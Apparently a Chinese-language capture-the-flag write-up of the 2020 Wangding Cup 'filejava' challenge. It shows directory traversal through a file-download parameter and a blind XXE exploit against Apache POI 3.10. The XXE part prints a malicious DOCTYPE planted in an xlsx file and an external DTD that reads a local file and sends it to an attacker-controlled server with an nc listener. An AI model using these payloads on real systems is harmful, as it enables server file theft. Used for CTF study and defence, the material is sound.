网鼎杯 2020 青龙组filejava
0x00 访问连接发现是个文件上传表单
尝试上传一个文件
发现上传之后可以下载
发现这个 url格式和常见的文件下载类似,可能存在下载漏洞。
尝试目录穿越下载 WEB-INF/web.xml文件,发现穿越四级目录即可
0x02 下载关键class文件
在web.xml配置文件中发现几个class文件
cn.abc.servlet.DownloadServlet
在网站目录对应 classes/cn.abc/servlet/DownloadServlet.class 文件
cn.abc.servlet.ListFileServlet
对应 classes/cn/abc/servlet/ListFileServlet.class
cn.abc.servlet.UploadServlet
对应 classes/cn/abc/servlet/UploadServlet.class
下载这三个文件
/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
0x03 反编译 代码分析
DownloadServlet.class
这个发现filename 参数中过滤了 flag关键字
UploadServlet.class
这里要求上传文件形如 excel-xxx.xlsx,并且这里用到了 poi-ooxml-3.10 这个组件存在 xxe漏洞。
Apache POI XML外部实体(XML External Entity,XXE)攻击详解 - 简书 (jianshu.com)
0x04 poi-ooxml-3.10 XXE漏洞利用
创建一个 excel-1.xlsx文件
用压缩软件打开 excel-1.xlsx 文件,在Content_Types].xml第二行添加
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>
在服务器上创建file.dtd文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://远程服务器IP:5454?p=%file;'>">
python -m http.server 80 开一个http服务
启动监控 : nc -lvvp 5454
最后上传xlsx文件即可读取 flag